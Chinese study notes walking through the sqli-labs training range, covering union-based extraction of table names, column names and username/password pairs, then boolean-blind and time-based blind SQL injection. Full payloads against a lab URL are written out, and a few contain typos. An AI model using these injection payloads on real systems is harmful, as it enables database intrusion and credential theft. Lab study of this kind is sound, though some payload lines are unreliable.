目录
[SQL注入的 含义](#SQL注入的 含义)
[不要只显示一个;用limit1,1; 2,1](#不要只显示一个;用limit1,1; 2,1)
[还有更简洁的办法吗?PYTHON 二分查找](#还有更简洁的办法吗?PYTHON 二分查找)
SQL前置基础
SQL注入的 含义
太过于信任用户输入的内容了,他可能输出的是恶意的错误性的东西,而你把他输入的当成正常语句来执行了,这个过程就叫SQL注入
靶场第一关举例解释SQL注入含义:
访问时给个ID值,靶场把用户名,密码返回给你;


输入: ' or 1=1 # 会报错

将#换作--+ 再输入limit 1,1

所以:
你输入的内容,被他拼接到自己的sql语句里面,拼接进去服务器竟然把它正常的执行了,就导致攻击者通过SQL语句,来拿到不属于自己的数据信息
重点还是再查询上



除了admin之外,其他都要
Union联合查询,
会把前一个查询出的结果,和后一个同时展示出来
左右两边查询的列数必须时一致的



怎么知道数据表有几列信息


Limit

截取字符串;ASCII

回忆SQL注入原理

靶场第一关:

第一步:明白SQL注入的类型是什么?
字符型注入,考虑闭合的方式是什么;
==》猜和报错分析

判断字符型还是数字型:
·1.or 1=1 --+
2.and 1=2 --+ 这是恒报错,两个条件有一个是永远满足不了的;
如果生效了,说明是数字注入;如果没有生效,意味着这个最终会被放到字符串里面,字符串以为1=2是多余的字符,'1'照样能生效
能直接查到数据的话,说明是字符型:因为数字型,后面的会生效,就查不出东西我们看到查到结果了:证明是字符型


没有出结果,就意味着后面的执行了,后面执行了就意味着,前面的闭合符是对的;
下一步就是考虑闭合符是什么
首先看单双引:
' and 1=2 如果闭合成功了,最后拼接到后面就是


And : 两边都得满足才能查到结果,但凡有一边不满足都查不到;
如果查到,说明and没生效;说明闭合符是错的;如果查不到,说明and生效了,就意味着前面的闭合符是对的
我们看到查询不到:

下一步:判断查询的列数是几列?
尝试:2

出来结果说明有两列,
尝试4

报错;说明有3列
第四步:判断回显的位置;
查出来的时候,可能有3列,但实际上前端回显的时候,可能只会回显两个数据存在;需要知道回显的是哪两个数据;
用联合查询判断:
union select 1,2,3
123原因是有3列,联合查询时候左右两边必须列数一致;

能查出数据:默认从上到下一列一列显示,先显示出的 就是你查出来的东西;
我们把前面构造成查不出来的:默认优先是123的结果

判断出回显位置是2和3的位置
接下来保证,后续命令写在2或3的位置即可;
写在3的位置:查database();

明白当前使用的数据库是security了;
但是我不知道有哪些表
Union select 1,2,(select database()) --+ 这样写也可以
举例
1,database(),version() --+

判断回显作用就是,有3列,但是第一列根本就不显示,没意义;
不知道数据看数据库表的话:



或者终端看





在外面访问:

http://172.25.254.131/sqli/Less-1/?id=-1' union select 1,database()
,group_concat(table_name) from information_schema.tables where table_schema='security' --+

我知道表了
我现在想知道有哪些列

找到列名是什么


只显示了第一条数据:

Limit 1,1
select column_name from information_schema.columns where table_schema ='security' and table_name ='users';
全显示:
group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name ='users';

我们已经知道字段了,接下来查数据的话:
我要所有的用户名和密码;
http://172.25.254.131/sqli/Less-1/?id=-1' union select 1,database(),concat(username,password) from security.users; --+

中间加连接符:''~

不要只显示一个;用limit1,1; 2,1
还能用group_concat

Users表里的所有数据
如果有一个位置不允许输出所有的内容,怎么办?
用字符串截取

http://172.25.254.131/sqli/Less-1/?id=-1' union select 1,database(),substr(group_concat(username,'~',password),32,32) from security.users; --+

为的是:如果前端做了限制不允许你输出那么多内容的话,可以通过截取来把整个得到的结果给拼出来
回忆步骤:

1.没有显示结果的话:就代表1=2生效了;就代表着是数字型;
执行还是显示数据了,证明后面的语句根本没生效,证明是字符型
2,1'强行给一个;如果报错再去看 1"; 1);直到显示不出来为止
之前如果网站出问题的话,排错方法:

靶场第二关:
到底还是不是get方式呢?
Less-2

依旧是GET传参
步骤和第一关的区别
数字型:
And 1=2 --+
没显示,
没有显示结果的话:就代表1=2生效了;就代表着是数字型;
Orderby 4
-1 Union select1,2,3
靶场第3关:

?id=1能出来,代表是get请求

输出代表后面没成立,说明是字符型
判断闭合,单引号不对,出错了;双引号出来了,但没闭合;
') 没看到东西,闭合正确;

第四关

执行出来了,说明后面的条件没生效;意味着字符型
")成功了,闭合
第5关:

?id=1,没有显示用户和密码
-1显示空;
没有回显位置
那就先判断是数字型还是字符型
如果是数字型,你的页面就变成黑的;
闭合后执行;

字符型,并且闭合符是单引号
然后看能否查找列;
Order by 3 有
4没有

然后使用union select
没意义,因为一直页面一直都是you are in.........
像这种我们把它认为是布尔盲数
只有两个页面;我们只能通过比较运算符去猜;
and length(database())=8 ---+
我现在知道我的数据库有8个;就分别去猜8个字符;8个位置位置由8个字符组成;先去猜第一个字符是什么:
得到的DATABASE,先把第一个字符截取出来;通过我们学的ASCII函数;把截取出来的字符转换成对应的数字;
拿着这个数字,我们去猜,是否大于50?100?等等
缩小范围最后定下来一个数值;
我们拿着这个数值,就可以找到对应的字符;'
知道数据库为8,接下来:猜字符
substr(database(),1,1) = 'a' --+
或者's',字符串去猜很难,于是我们使用ASCII
把字符转换为数字;
Ascii(substr(database(),1,1)) >80--+
<100:
说明不是小于100的
<150:
得到是小于150;
现在范围是100-150;
125
小于125是
100-125
不是110
110-125;
小于120是;
110-120
........
最后是等于115!!!!!
ASCII对应的115是:s
第二个字符是:Ascii(substr(database(),1,1)) >80--+
第二个位置开始截取一个字符出来,再去猜;把整个猜出来的数据整合到一起;就是数据库的内容
还有更简洁的办法吗?PYTHON 二分查找
写脚本:
用于对http://172.25.254.131/sqli/Less-5/?id=1',进行自动化的布尔盲数,使用最简单的方式(二分查找)
通过you are in来判断正确,没有就是错
SQL注入的参数是id位置,你现在的脚本无法实现自动化注入;
第9关

时间盲注
用到判断
IF(条件,成立执行的命令,条件不成立的时候输出)
Sleep(3)
Showdatabases;
Select username,password,

换到第9关怎么写
-1也是you are in.........
连数字型还是字符型也没办法判断;
一直都是 you are in.....
用sleep(3),我们发现没沉睡3秒,就认为后面的没执行,意味着不是数字型,开始猜是不是字符型
然后
1' and sleep(3) --+
沉睡了3秒;意味着当前闭合生效
没有联合注入所以也不需要判断列;
If(length(database())>5,sleep(3),0) --+
发现沉睡了就说明>5
<10沉睡了;
=8
接下来就是布尔盲注;针对database截取
If(substr(database()1,1)="s",sleep(3),0) --+ 这是时间盲注第9关




